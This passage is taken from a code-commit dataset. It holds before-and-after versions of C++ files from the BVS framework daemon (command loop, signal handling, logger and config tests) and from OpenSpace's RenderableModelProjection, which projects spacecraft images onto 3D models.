'h<enter>'!\" << std::endl;\n\t\t}\n\t}\n\n\tdelete bvs;\n\n\treturn 0;\n}\n\n\n\nvoid mainSignal(int sig)\n{\n\tLOG(1,\"Catched signal: \" << sig << \" (Ctrl-C), quitting!\");\n\tsignal(SIGINT, SIG_DFL);\n\tbvs->quit();\n\texit(0);\n}\n\n\n\nvoid shutdownFunction()\n{\n\tLOG(1,\"daemon exit caused by bvs shutdown request!\");\n\tbvs->quit();\n\texit(0);\n}\n\n\n\n\/** Performs some logger tests.\n * This functions performs some tests on the logger system. Nothing fancy, can\n * be studied to gain some insight into using the logger system.\n *\/\nint testLogger()\n{\n\tLOG(0, \"to CLI FILE\");\n\tbvs->disableLogConsole();\n\tLOG(0, \"to FILE only\");\n\n\tBVS::Logger file(\"FILE LOG\", 3, BVS::Logger::TO_FILE);\n\tfile.out(0) << \"FILE ONLY\" << std::endl;\n\n\tbvs->enableLogConsole();\n\tBVS::Logger cli(\"CLI LOG\", 3, BVS::Logger::TO_CLI);\n\tcli.out(0) << \"CLI ONLY\" << std::endl;\n\n\tbvs->disableLogConsole();\n\tbvs->disableLogFile();\n\tLOG(0, \"NOOP\");\n\n\tbvs->enableLogConsole();\n\tLOG(0, \"to CLI\");\n\n\tbvs->disableLogConsole();\n\tbvs->enableLogFile(\"BVSLog.txt\", true);\n\tLOG(0, \"to FILE AGAIN\");\n\n\tbvs->enableLogConsole();\n\tBVS::Logger both(\"to BOTH\", 0, BVS::Logger::TO_CLI_AND_FILE);\n\tboth.out(0) << \"to CLI AND FILE\" << std::endl;\n\n\treturn 0;\n}\n\n\n\n\/** Performs some config tests.\n * This functions performs some tests on the config system. Nothing fancy, can\n * be studied to gain some insight into using the config system.\n *\/\nint testConfig()\n{\n\tLOG(0, \"testing...\");\n\n\tint i;\n\tstd::string s;\n\tbool b;\n\n\tbvs->config.getValue(\"BVS.logVerbosity\", i, 0)\n\t\t.getValue(\"BVS.logFile\", s, std::string(\"default\"))\n\t\t.getValue(\"BVS.logSystem\", b, false);\n\n\tLOG(0, \"Getting int: \" << i);\n\tLOG(0, \"Getting string: \" << s);\n\tLOG(0, \"Getting bool: \" << b);\n\n\ti = bvs->config.getValue<int>(\"BVS.logVerbosity\", 0);\n\ts = bvs->config.getValue<std::string>(\"BVS.logFile\", std::string(\"default\"));\n\tb = bvs->config.getValue<bool>(\"BVS.logSystem\", false);\n\n\tLOG(0, \"Getting int directly: \" << i);\n\tLOG(0, \"Getting string directly: \" << s);\n\tLOG(0, \"Getting bool directly: \" << b);\n\n\tstd::string empty;\n\tbvs->config.getValue(\"this.option.does.not.exist\", empty, std::string(\"empty\"));\n\tLOG(0, \"This should be 'empty': \" << empty);\n\n\tstd::vector<std::string> list;\n\tbvs->config.getValue(\"BVS.modules\", list);\n\tLOG(0, \"List: BVS.modules\");\n\tint count = 0;\n\tfor (auto& it : list)\n\t{\n\t\t(void) it;\n\t\t(void) count;\n\t\tLOG(0, count++ << \": \" << it);\n\t}\n\n\treturn 0;\n}\n\n<commit_msg>daemon: small fixes for main loop and shutdown<commit_after>#include <csignal>\n#include \"bvs\/bvs.h\"\n\n\n\nBVS::BVS* bvs;\nBVS::Logger logger(\"Daemon\");\n\n\n\nvoid mainSignal(int sig);\nvoid shutdownFunction();\nint testLogger();\nint testConfig();\n\n\n\n\/** BVSD namespace, contains only the bvs daemon. *\/\nnamespace BVSD\n{\n\/** BVS framework's command line daemon.\n * This is a simple command line daemon. It serves as a client to the BVS\n * framework. It is also intended as a sample client.\n *\n * It is interactive, you can use the following commands by just entering them\n * on the command line and then pressing enter (short versions are also\n * available, enter 'help<enter>' to see them):\n *\n * @li \\c run run system until paused.\n * @li \\c continue same as run\n * @li \\c step advance system by one step.\n * @li \\c pause pause(stop) system.\n * @li \\c test call test functions.\n * @li \\c quit shutdown system and quit.\n * @li \\c help show help.\n *\/\n\tclass BVSD\n\t{\n\t};\n}\n\n\/** Main function, creates interactive loop. *\/\nint main(int argc, char** argv)\n{\n\tsignal(SIGINT, mainSignal);\n\n\tLOG(2, \"starting!\");\n\tbvs = new BVS::BVS(argc, argv, &shutdownFunction);\n\n\tLOG(2, \"loading modules!\");\n\tbvs->loadModules();\n\n\tLOG(2, \"connecting modules!\");\n\tbvs->connectAllModules();\n\n\tLOG(2, \"starting!\");\n\tbvs->start();\n\n\tbvs->run();\n\n\tstd::string input;\n\twhile (true)\n\t{\n\t\tstd::getline(std::cin, input);\n\n\t\tif (input == \"r\" || input == \"run\" || input == \"c\" || input == \"continue\")\n\t\t{\n\t\t\tLOG(2, \"RUN!!!\");\n\t\t\tbvs->run();\n\t\t}\n\t\telse if (input.empty() || input == \"s\" || input == \"step\")\n\t\t{\n\t\t\tLOG(2, \"STEP!!!\");\n\t\t\tbvs->step();\n\t\t}\n\t\telse if (input == \"p\" || input == \"pause\")\n\t\t{\n\t\t\tLOG(2, \"PAUSING!!!\");\n\t\t\tbvs->pause();\n\t\t}\n\t\telse if (input == \"t\" || input == \"test\")\n\t\t{\n\t\t\ttestLogger();\n\t\t\ttestConfig();\n\t\t}\n\t\telse if (input.substr(0,2) == \"hs\" || input.substr(0, 7) == \"hotswap\")\n\t\t{\n\t\t\tsize_t delimiter = input.find_first_of(\" \");\n\t\t\tinput.erase(0, delimiter+1);\n\t\t\tif (input.empty() || delimiter==std::string::npos) std::cout << \"ERROR: no module ID given!\" << std::endl;\n\t\t\telse bvs->hotSwap(input);\n\t\t}\n\t\telse if (input == \"q\" || input == \"quit\")\n\t\t{\n\t\t\tLOG(2, \"quitting...\");\n\t\t\tbvs->quit();\n\t\t\tLOG(2, \"finished!\");\n\t\t\tbreak;\n\t\t}\n\t\telse if (input == \"h\" || input == \"help\")\n\t\t{\n\t\t\tstd::cout << \"usage:\" << std::endl;\n\t\t\tstd::cout << \" r|run run system until paused\" << std::endl;\n\t\t\tstd::cout << \" c|continue same as run\" << std::endl;\n\t\t\tstd::cout << \" s|step advance system by one step\" << std::endl;\n\t\t\tstd::cout << \" p|pause pause(stop) system\" << std::endl;\n\t\t\tstd::cout << \" hs|hotswap <arg> HotSwap(TM) <moduleID>\" << std::endl;\n\t\t\tstd::cout << \" t|test call test functions\" << std::endl;\n\t\t\tstd::cout << \" q|quit shutdown system and quit\" << std::endl;\n\t\t\tstd::cout << \" h|help show help\" << std::endl;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tstd::cout << \">>> unknown command: \" << input << std::endl << \">>> for help press 'h<enter>'!\" << std::endl;\n\t\t}\n\t}\n\n\tdelete bvs;\n\n\treturn 0;\n}\n\n\n\nvoid mainSignal(int sig)\n{\n\tLOG(1,\"Catched signal: \" << sig << \" (Ctrl-C), quitting!\");\n\tsignal(SIGINT, SIG_DFL);\n\tbvs->quit();\n\tdelete bvs;\n\texit(0);\n}\n\n\n\nvoid shutdownFunction()\n{\n\tLOG(1,\"daemon exit caused by bvs shutdown request!\");\n\tbvs->quit();\n\tdelete bvs;\n\texit(0);\n}\n\n\n\n\/** Performs some logger tests.\n * This functions performs some tests on the logger system. Nothing fancy, can\n * be studied to gain some insight into using the logger system.\n *\/\nint testLogger()\n{\n\tLOG(0, \"to CLI FILE\");\n\tbvs->disableLogConsole();\n\tLOG(0, \"to FILE only\");\n\n\tBVS::Logger file(\"FILE LOG\", 3, BVS::Logger::TO_FILE);\n\tfile.out(0) << \"FILE ONLY\" << std::endl;\n\n\tbvs->enableLogConsole();\n\tBVS::Logger cli(\"CLI LOG\", 3, BVS::Logger::TO_CLI);\n\tcli.out(0) << \"CLI ONLY\" << std::endl;\n\n\tbvs->disableLogConsole();\n\tbvs->disableLogFile();\n\tLOG(0, \"NOOP\");\n\n\tbvs->enableLogConsole();\n\tLOG(0, \"to CLI\");\n\n\tbvs->disableLogConsole();\n\tbvs->enableLogFile(\"BVSLog.txt\", true);\n\tLOG(0, \"to FILE AGAIN\");\n\n\tbvs->enableLogConsole();\n\tBVS::Logger both(\"to BOTH\", 0, BVS::Logger::TO_CLI_AND_FILE);\n\tboth.out(0) << \"to CLI AND FILE\" << std::endl;\n\n\treturn 0;\n}\n\n\n\n\/** Performs some config tests.\n * This functions performs some tests on the config system. Nothing fancy, can\n * be studied to gain some insight into using the config system.\n *\/\nint testConfig()\n{\n\tLOG(0, \"testing...\");\n\n\tint i;\n\tstd::string s;\n\tbool b;\n\n\tbvs->config.getValue(\"BVS.logVerbosity\", i, 0)\n\t\t.getValue(\"BVS.logFile\", s, std::string(\"default\"))\n\t\t.getValue(\"BVS.logSystem\", b, false);\n\n\tLOG(0, \"Getting int: \" << i);\n\tLOG(0, \"Getting string: \" << s);\n\tLOG(0, \"Getting bool: \" << b);\n\n\ti = bvs->config.getValue<int>(\"BVS.logVerbosity\", 0);\n\ts = bvs->config.getValue<std::string>(\"BVS.logFile\", std::string(\"default\"));\n\tb = bvs->config.getValue<bool>(\"BVS.logSystem\", false);\n\n\tLOG(0, \"Getting int directly: \" << i);\n\tLOG(0, \"Getting string directly: \" << s);\n\tLOG(0, \"Getting bool directly: \" << b);\n\n\tstd::string empty;\n\tbvs->config.getValue(\"this.option.does.not.exist\", empty, std::string(\"empty\"));\n\tLOG(0, \"This should be 'empty': \" << empty);\n\n\tstd::vector<std::string> list;\n\tbvs->config.getValue(\"BVS.modules\", list);\n\tLOG(0, \"List: BVS.modules\");\n\tint count = 0;\n\tfor (auto& it : list)\n\t{\n\t\t(void) it;\n\t\t(void) count;\n\t\tLOG(0, count++ << \": \" << it);\n\t}\n\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"stdio.h\"\n#include \"BVS.h\"\n\nint main(int argc, char** argv)\n{\n \/\/ start BVS\n BVS bvs(argc, argv);\n bvs.enableLogFile(\"BVSLog.txt\");\n\n BVSLogger logger(\"BVSDaemon\");\n LOG(2, \"starting!\");\n\n \/\/LOG(2, \"dump all config options!\");\n \/\/bvs.config.showOptionStore();\n\n LOG(2, \"loading Modules!\");\n bvs.loadModules();\n\n LOG(2, \"run!\");\n \/\/bvs.run();\n\n \/\/std::string s = \"core.list\";\n \/\/std::vector<int> foo;\n \/\/bvs.config.getValue(s, foo);\n \/\/for (auto it : foo)\n \/\/{\n \/\/std::cout << foo[it] << std::endl;\n \/\/}\n\n return 0;\n}\n<commit_msg>daemon: remove comments<commit_after>#include \"stdio.h\"\n#include \"BVS.h\"\n\nint main(int argc, char** argv)\n{\n \/\/ start BVS\n BVS bvs(argc, argv);\n bvs.enableLogFile(\"BVSLog.txt\");\n\n BVSLogger logger(\"BVSDaemon\");\n LOG(2, \"starting!\");\n\n \/\/LOG(2, \"dump all config options!\");\n \/\/bvs.config.showOptionStore();\n\n LOG(2, \"loading Modules!\");\n bvs.loadModules();\n\n LOG(2, \"run!\");\n \/\/bvs.run();\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************************\n * *\n * OpenSpace *\n * *\n * Copyright (c) 2014-2016 *\n * *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this *\n * software and associated documentation files (the \"Software\"), to deal in the Software *\n * without restriction, including without limitation the rights to use, copy, modify, *\n * merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to *\n * permit persons to whom the Software is furnished to do so, subject to the following *\n * conditions: *\n * *\n * The above copyright notice and this permission notice shall be included in all copies *\n * or substantial portions of the Software. *\n * *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, *\n * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A *\n * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT *\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF *\n * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE *\n * OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\n ****************************************************************************************\/\n\n#include <modules\/newhorizons\/rendering\/renderablemodelprojection.h>\n\n#include <openspace\/engine\/openspaceengine.h>\n#include <openspace\/rendering\/renderengine.h>\n#include <openspace\/scene\/scenegraphnode.h>\n#include <openspace\/util\/spicemanager.h>\n#include <openspace\/util\/time.h>\n\n#include <ghoul\/filesystem\/filesystem.h>\n#include <ghoul\/io\/texture\/texturereader.h>\n#include <ghoul\/opengl\/textureunit.h>\n\nnamespace {\n const std::string _loggerCat = \"RenderableModelProjection\";\n const std::string keySource = \"Rotation.Source\";\n const std::string keyDestination = \"Rotation.Destination\";\n const std::string keyBody = \"Body\";\n const std::string keyGeometry = \"Geometry\";\n\n const std::string keyTextureColor = \"Textures.Color\";\n const std::string keyTextureProject = \"Textures.Project\";\n const std::string keyTextureDefault = \"Textures.Default\";\n}\n\nnamespace openspace {\n\nRenderableModelProjection::RenderableModelProjection(const ghoul::Dictionary& dictionary)\n : Renderable(dictionary)\n , _colorTexturePath(\"colorTexture\", \"Color Texture\")\n , _rotation(\"rotation\", \"Rotation\", glm::vec3(0.f), glm::vec3(0.f), glm::vec3(360.f))\n , _programObject(nullptr)\n , _fboProgramObject(nullptr)\n , _baseTexture(nullptr)\n , _geometry(nullptr)\n , _performShading(\"performShading\", \"Perform Shading\", true)\n{\n std::string name;\n bool success = dictionary.getValue(SceneGraphNode::KeyName, name);\n ghoul_assert(success, \"Name was not passed to RenderableModelProjection\");\n\n ghoul::Dictionary geometryDictionary;\n success = dictionary.getValue(keyGeometry, geometryDictionary);\n if (success) {\n using modelgeometry::ModelGeometry;\n geometryDictionary.setValue(SceneGraphNode::KeyName, name);\n _geometry = std::unique_ptr<ModelGeometry>(\n ModelGeometry::createFromDictionary(geometryDictionary)\n );\n }\n\n std::string texturePath = \"\";\n success = dictionary.getValue(keyTextureColor, texturePath);\n if (success)\n _colorTexturePath = absPath(texturePath);\n \n success = dictionary.getValue(keyTextureDefault, texturePath);\n if (success)\n _defaultProjImage = absPath(texturePath);\n\n addPropertySubOwner(_geometry.get());\n\n addProperty(_projectionFading);\n\n addProperty(_colorTexturePath);\n _colorTexturePath.onChange(std::bind(&RenderableModelProjection::loadTextures, this));\n\n dictionary.getValue(keySource, _source);\n dictionary.getValue(keyDestination, _destination);\n dictionary.getValue(keyBody, _target);\n if (_target != \"\")\n setBody(_target);\n\n bool completeSuccess = true;\n completeSuccess &= initializeProjectionSettings(dictionary);\n \n openspace::SpiceManager::ref().addFrame(_target, _source);\n setBoundingSphere(pss(1.f, 9.f));\n\n addProperty(_performShading);\n addProperty(_performProjection);\n addProperty(_clearAllProjections);\n addProperty(_rotation);\n\n success = initializeParser(dictionary);\n ghoul_assert(success, \"\");\n}\n\nbool RenderableModelProjection::isReady() const {\n bool ready = true;\n ready &= (_programObject != nullptr);\n ready &= (_baseTexture != nullptr);\n ready &= (_projectionTexture != nullptr);\n return ready;\n}\n\nbool RenderableModelProjection::initialize() {\n bool completeSuccess = true;\n \n RenderEngine& renderEngine = OsEng.renderEngine();\n _programObject = renderEngine.buildRenderProgram(\"ModelShader\",\n \"${MODULE_NEWHORIZONS}\/shaders\/renderableModel_vs.glsl\",\n \"${MODULE_NEWHORIZONS}\/shaders\/renderableModel_fs.glsl\");\n\n\n _fboProgramObject = ghoul::opengl::ProgramObject::Build(\"ProjectionPass\",\n \"${MODULE_NEWHORIZONS}\/shaders\/renderableModelProjection_vs.glsl\",\n \"${MODULE_NEWHORIZONS}\/shaders\/renderableModelProjection_fs.glsl\");\n _fboProgramObject->setIgnoreUniformLocationError(\n ghoul::opengl::ProgramObject::IgnoreError::Yes\n );\n\n completeSuccess &= loadTextures();\n\n completeSuccess &= ProjectionComponent::initialize();\n\n completeSuccess &= _geometry->initialize(this);\n completeSuccess &= !_source.empty();\n completeSuccess &= !_destination.empty();\n\n return completeSuccess;\n}\n\nbool RenderableModelProjection::deinitialize() {\n if (_geometry)\n _geometry->deinitialize();\n\n _geometry = nullptr;\n _baseTexture = nullptr;\n\n ProjectionComponent::deinitialize();\n\n OsEng.renderEngine().removeRenderProgram(_programObject);\n _programObject = nullptr;\n\n return true;\n}\n\nvoid RenderableModelProjection::render(const RenderData& data) {\n if (_clearAllProjections)\n clearAllProjections();\n\n _camScaling = data.camera.scaling();\n\n if (_capture && _performProjection)\n project();\n\n _programObject->activate();\n\n attitudeParameters(_time);\n _imageTimes.clear();\n \n _programObject->setUniform(\"_performShading\", _performShading);\n _programObject->setUniform(\"sun_pos\", _sunPosition.vec3());\n _programObject->setUniform(\"ViewProjection\", data.camera.viewProjectionMatrix());\n _programObject->setUniform(\"ModelTransform\", _transform);\n _programObject->setUniform(\"_projectionFading\", _projectionFading);\n setPscUniforms(*_programObject, data.camera, data.position);\n\n _geometry->setUniforms(*_programObject);\n \n ghoul::opengl::TextureUnit unit[2];\n unit[0].activate();\n _baseTexture->bind();\n _programObject->setUniform(\"baseTexture\", unit[0]);\n\n unit[1].activate();\n _projectionTexture->bind();\n _programObject->setUniform(\"projectionTexture\", unit[1]);\n\n _geometry->render();\n \n _programObject->deactivate();\n}\n\nvoid RenderableModelProjection::update(const UpdateData& data) {\n if (_programObject->isDirty())\n _programObject->rebuildFromFile();\n\n if (_fboProgramObject->isDirty())\n _fboProgramObject->rebuildFromFile();\n \n _time = data.time;\n\n if (openspace::ImageSequencer::ref().isReady() && _performProjection) {\n openspace::ImageSequencer::ref().updateSequencer(_time);\n _capture = openspace::ImageSequencer::ref().getImagePaths(\n _imageTimes, _projecteeID, _instrumentID\n );\n }\n \n \/\/ set spice-orientation in accordance to timestamp\n if (!_source.empty()) {\n _stateMatrix = SpiceManager::ref().positionTransformMatrix(\n _source, _destination, _time\n );\n }\n\n double lt;\n glm::dvec3 p =\n openspace::SpiceManager::ref().targetPosition(\n \"SUN\", _target, \"GALACTIC\", {}, _time, lt\n );\n _sunPosition = PowerScaledCoordinate::CreatePowerScaledCoordinate(p.x, p.y, p.z);\n}\n\nvoid RenderableModelProjection::imageProjectGPU(\n std::shared_ptr<ghoul::opengl::Texture> projectionTexture)\n{\n ProjectionComponent::imageProjectBegin();\n\n _fboProgramObject->activate();\n\n ghoul::opengl::TextureUnit unitFbo;\n unitFbo.activate();\n projectionTexture->bind();\n _fboProgramObject->setUniform(\"projectionTexture\", unitFbo);\n\n _fboProgramObject->setUniform(\"ProjectorMatrix\", _projectorMatrix);\n _fboProgramObject->setUniform(\"ModelTransform\", _transform);\n _fboProgramObject->setUniform(\"_scaling\", _camScaling);\n _fboProgramObject->setUniform(\"boresight\", _boresight);\n\n _geometry->setUniforms(*_fboProgramObject);\n _geometry->render();\n\n _fboProgramObject->deactivate();\n\n ProjectionComponent::imageProjectEnd();\n}\n\nvoid RenderableModelProjection::attitudeParameters(double time) {\n try {\n _stateMatrix = SpiceManager::ref().positionTransformMatrix(_source, _destination, time);\n _instrumentMatrix = SpiceManager::ref().positionTransformMatrix(_instrumentID, _destination, time);\n }\n catch (const SpiceManager::SpiceException& e) {\n return;\n }\n\n _transform = glm::mat4(1);\n glm::mat4 rotPropX = glm::rotate(\n _transform,\n glm::radians(static_cast<float>(_rotation.value().x)),\n glm::vec3(1, 0, 0)\n );\n glm::mat4 rotPropY = glm::rotate(\n _transform,\n glm::radians(static_cast<float>(_rotation.value().y)),\n glm::vec3(0, 1, 0)\n );\n glm::mat4 rotPropZ = glm::rotate(\n _transform, \n glm::radians(static_cast<float>(_rotation.value().z)),\n glm::vec3(0, 0, 1)\n );\n \n for (int i = 0; i < 3; i++) {\n for (int j = 0; j < 3; j++) {\n _transform[i][j] = static_cast<float>(_stateMatrix[i][j]);\n }\n }\n _transform = _transform * rotPropX * rotPropY * rotPropZ;\n\n glm::dvec3 boresight;\n try {\n SpiceManager::FieldOfViewResult res = SpiceManager::ref().fieldOfView(_instrumentID);\n boresight = std::move(res.boresightVector);\n } catch (const SpiceManager::SpiceException& e) {\n return;\n }\n\n double lightTime;\n glm::dvec3 p =\n SpiceManager::ref().targetPosition(_projectorID, _projecteeID, _destination, _aberration, time, lightTime);\n psc position = PowerScaledCoordinate::CreatePowerScaledCoordinate(p.x, p.y, p.z);\n \n position[3] += (3 + _camScaling[1]);\n glm::vec3 cpos = position.vec3();\n\n _projectorMatrix = computeProjectorMatrix(cpos, boresight, _up, _instrumentMatrix, \n _fovy, _aspectRatio, _nearPlane, _farPlane, _boresight\n );\n}\n\nvoid RenderableModelProjection::project() {\n for (auto img : _imageTimes) {\n attitudeParameters(img.startTime);\n imageProjectGPU(loadProjectionTexture(img.path));\n }\n _capture = false;\n}\n\nbool RenderableModelProjection::loadTextures() {\n _baseTexture = nullptr;\n if (_colorTexturePath.value() != \"\") {\n _baseTexture = std::move(\n ghoul::io::TextureReader::ref().loadTexture(absPath(_colorTexturePath))\n );\n if (_baseTexture) {\n LDEBUG(\"Loaded texture from '\" << absPath(_colorTexturePath) << \"'\");\n _baseTexture->uploadTexture();\n _baseTexture->setFilter(ghoul::opengl::Texture::FilterMode::Linear);\n }\n }\n\n return _baseTexture != nullptr;\n}\n\n} \/\/ namespace openspace\n<commit_msg>Reenable up-vector definition in RenderableModelProjection<commit_after>\/*****************************************************************************************\n * *\n * OpenSpace *\n * *\n * Copyright (c) 2014-2016 *\n * *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this *\n * software and associated documentation files (the \"Software\"), to deal in the Software *\n * without restriction, including without limitation the rights to use, copy, modify, *\n * merge, publish, distribute, sublicense, and\/or sell copies of the Software, and to *\n * permit persons to whom the Software is furnished to do so, subject to the following *\n * conditions: *\n * *\n * The above copyright notice and this permission notice shall be included in all copies *\n * or substantial portions of the Software. *\n * *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, *\n * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A *\n * PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT *\n * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF *\n * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE *\n * OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *\n ****************************************************************************************\/\n\n#include <modules\/newhorizons\/rendering\/renderablemodelprojection.h>\n\n#include <openspace\/engine\/openspaceengine.h>\n#include <openspace\/rendering\/renderengine.h>\n#include <openspace\/scene\/scenegraphnode.h>\n#include <openspace\/util\/spicemanager.h>\n#include <openspace\/util\/time.h>\n\n#include <ghoul\/filesystem\/filesystem.h>\n#include <ghoul\/io\/texture\/texturereader.h>\n#include <ghoul\/opengl\/textureunit.h>\n\nnamespace {\n const std::string _loggerCat = \"RenderableModelProjection\";\n const std::string keySource = \"Rotation.Source\";\n const std::string keyDestination = \"Rotation.Destination\";\n const std::string keyBody = \"Body\";\n const std::string keyGeometry = \"Geometry\";\n\n const std::string keyTextureColor = \"Textures.Color\";\n const std::string keyTextureProject = \"Textures.Project\";\n const std::string keyTextureDefault = \"Textures.Default\";\n}\n\nnamespace openspace {\n\nRenderableModelProjection::RenderableModelProjection(const ghoul::Dictionary& dictionary)\n : Renderable(dictionary)\n , _colorTexturePath(\"colorTexture\", \"Color Texture\")\n , _rotation(\"rotation\", \"Rotation\", glm::vec3(0.f), glm::vec3(0.f), glm::vec3(360.f))\n , _programObject(nullptr)\n , _fboProgramObject(nullptr)\n , _baseTexture(nullptr)\n , _geometry(nullptr)\n , _performShading(\"performShading\", \"Perform Shading\", true)\n{\n std::string name;\n bool success = dictionary.getValue(SceneGraphNode::KeyName, name);\n ghoul_assert(success, \"Name was not passed to RenderableModelProjection\");\n\n ghoul::Dictionary geometryDictionary;\n success = dictionary.getValue(keyGeometry, geometryDictionary);\n if (success) {\n using modelgeometry::ModelGeometry;\n geometryDictionary.setValue(SceneGraphNode::KeyName, name);\n _geometry = std::unique_ptr<ModelGeometry>(\n ModelGeometry::createFromDictionary(geometryDictionary)\n );\n }\n\n std::string texturePath = \"\";\n success = dictionary.getValue(keyTextureColor, texturePath);\n if (success)\n _colorTexturePath = absPath(texturePath);\n \n success = dictionary.getValue(keyTextureDefault, texturePath);\n if (success)\n _defaultProjImage = absPath(texturePath);\n\n addPropertySubOwner(_geometry.get());\n\n addProperty(_projectionFading);\n\n addProperty(_colorTexturePath);\n _colorTexturePath.onChange(std::bind(&RenderableModelProjection::loadTextures, this));\n\n dictionary.getValue(keySource, _source);\n dictionary.getValue(keyDestination, _destination);\n dictionary.getValue(keyBody, _target);\n if (_target != \"\")\n setBody(_target);\n\n bool completeSuccess = true;\n completeSuccess &= initializeProjectionSettings(dictionary);\n \n openspace::SpiceManager::ref().addFrame(_target, _source);\n setBoundingSphere(pss(1.f, 9.f));\n\n addProperty(_performShading);\n addProperty(_performProjection);\n addProperty(_clearAllProjections);\n addProperty(_rotation);\n\n success = initializeParser(dictionary);\n ghoul_assert(success, \"\");\n}\n\nbool RenderableModelProjection::isReady() const {\n bool ready = true;\n ready &= (_programObject != nullptr);\n ready &= (_baseTexture != nullptr);\n ready &= (_projectionTexture != nullptr);\n return ready;\n}\n\nbool RenderableModelProjection::initialize() {\n bool completeSuccess = true;\n \n RenderEngine& renderEngine = OsEng.renderEngine();\n _programObject = renderEngine.buildRenderProgram(\"ModelShader\",\n \"${MODULE_NEWHORIZONS}\/shaders\/renderableModel_vs.glsl\",\n \"${MODULE_NEWHORIZONS}\/shaders\/renderableModel_fs.glsl\");\n\n\n _fboProgramObject = ghoul::opengl::ProgramObject::Build(\"ProjectionPass\",\n \"${MODULE_NEWHORIZONS}\/shaders\/renderableModelProjection_vs.glsl\",\n \"${MODULE_NEWHORIZONS}\/shaders\/renderableModelProjection_fs.glsl\");\n _fboProgramObject->setIgnoreUniformLocationError(\n ghoul::opengl::ProgramObject::IgnoreError::Yes\n );\n\n completeSuccess &= loadTextures();\n\n completeSuccess &= ProjectionComponent::initialize();\n\n completeSuccess &= _geometry->initialize(this);\n completeSuccess &= !_source.empty();\n completeSuccess &= !_destination.empty();\n\n return completeSuccess;\n}\n\nbool RenderableModelProjection::deinitialize() {\n if (_geometry)\n _geometry->deinitialize();\n\n _geometry = nullptr;\n _baseTexture = nullptr;\n\n ProjectionComponent::deinitialize();\n\n OsEng.renderEngine().removeRenderProgram(_programObject);\n _programObject = nullptr;\n\n return true;\n}\n\nvoid RenderableModelProjection::render(const RenderData& data) {\n if (_clearAllProjections)\n clearAllProjections();\n\n _camScaling = data.camera.scaling();\n _up = data.camera.lookUpVectorCameraSpace();\n\n if (_capture && _performProjection)\n project();\n\n _programObject->activate();\n\n attitudeParameters(_time);\n _imageTimes.clear();\n \n _programObject->setUniform(\"_performShading\", _performShading);\n _programObject->setUniform(\"sun_pos\", _sunPosition.vec3());\n _programObject->setUniform(\"ViewProjection\", data.camera.viewProjectionMatrix());\n _programObject->setUniform(\"ModelTransform\", _transform);\n _programObject->setUniform(\"_projectionFading\", _projectionFading);\n setPscUniforms(*_programObject, data.camera, data.position);\n\n _geometry->setUniforms(*_programObject);\n \n ghoul::opengl::TextureUnit unit[2];\n unit[0].activate();\n _baseTexture->bind();\n _programObject->setUniform(\"baseTexture\", unit[0]);\n\n unit[1].activate();\n _projectionTexture->bind();\n _programObject->setUniform(\"projectionTexture\", unit[1]);\n\n _geometry->render();\n \n _programObject->deactivate();\n}\n\nvoid RenderableModelProjection::update(const UpdateData& data) {\n if (_programObject->isDirty())\n _programObject->rebuildFromFile();\n\n if (_fboProgramObject->isDirty())\n _fboProgramObject->rebuildFromFile();\n \n _time = data.time;\n\n if (openspace::ImageSequencer::ref().isReady() && _performProjection) {\n openspace::ImageSequencer::ref().updateSequencer(_time);\n _capture = openspace::ImageSequencer::ref().getImagePaths(\n _imageTimes, _projecteeID, _instrumentID\n );\n }\n \n \/\/ set spice-orientation in accordance to timestamp\n if (!_source.empty()) {\n _stateMatrix = SpiceManager::ref().positionTransformMatrix(\n _source, _destination, _time\n );\n }\n\n double lt;\n glm::dvec3 p =\n openspace::SpiceManager::ref().targetPosition(\n \"SUN\", _target, \"GALACTIC\", {}, _time, lt\n );\n _sunPosition = PowerScaledCoordinate::CreatePowerScaledCoordinate(p.x, p.y, p.z);\n}\n\nvoid RenderableModelProjection::imageProjectGPU(\n std::shared_ptr<ghoul::opengl::Texture> projectionTexture)\n{\n ProjectionComponent::imageProjectBegin();\n\n _fboProgramObject->activate();\n\n ghoul::opengl::TextureUnit unitFbo;\n unitFbo.activate();\n projectionTexture->bind();\n _fboProgramObject->setUniform(\"projectionTexture\", unitFbo);\n\n _fboProgramObject->setUniform(\"ProjectorMatrix\", _projectorMatrix);\n _fboProgramObject->setUniform(\"ModelTransform\", _transform);\n _fboProgramObject->setUniform(\"_scaling\", _camScaling);\n _fboProgramObject->setUniform(\"boresight\", _boresight);\n\n _geometry->setUniforms(*_fboProgramObject);\n _geometry->render();\n\n _fboProgramObject->deactivate();\n\n ProjectionComponent::imageProjectEnd();\n}\n\nvoid RenderableModelProjection::attitudeParameters(double time) {\n try {\n _stateMatrix = SpiceManager::ref().positionTransformMatrix(_source, _destination, time);\n _instrumentMatrix = SpiceManager::ref().positionTransformMatrix(_instrumentID, _destination, time);\n }\n catch (const SpiceManager::SpiceException& e) {\n return;\n }\n\n _transform = glm::mat4(1);\n glm::mat4 rotPropX = glm::rotate(\n _transform,\n glm::radians(static_cast<float>(_rotation.value().x)),\n glm::vec3(1, 0, 0)\n );\n glm::mat4 rotPropY = glm::rotate(\n _transform,\n glm::radians(static_cast<float>(_rotation.value().y)),\n 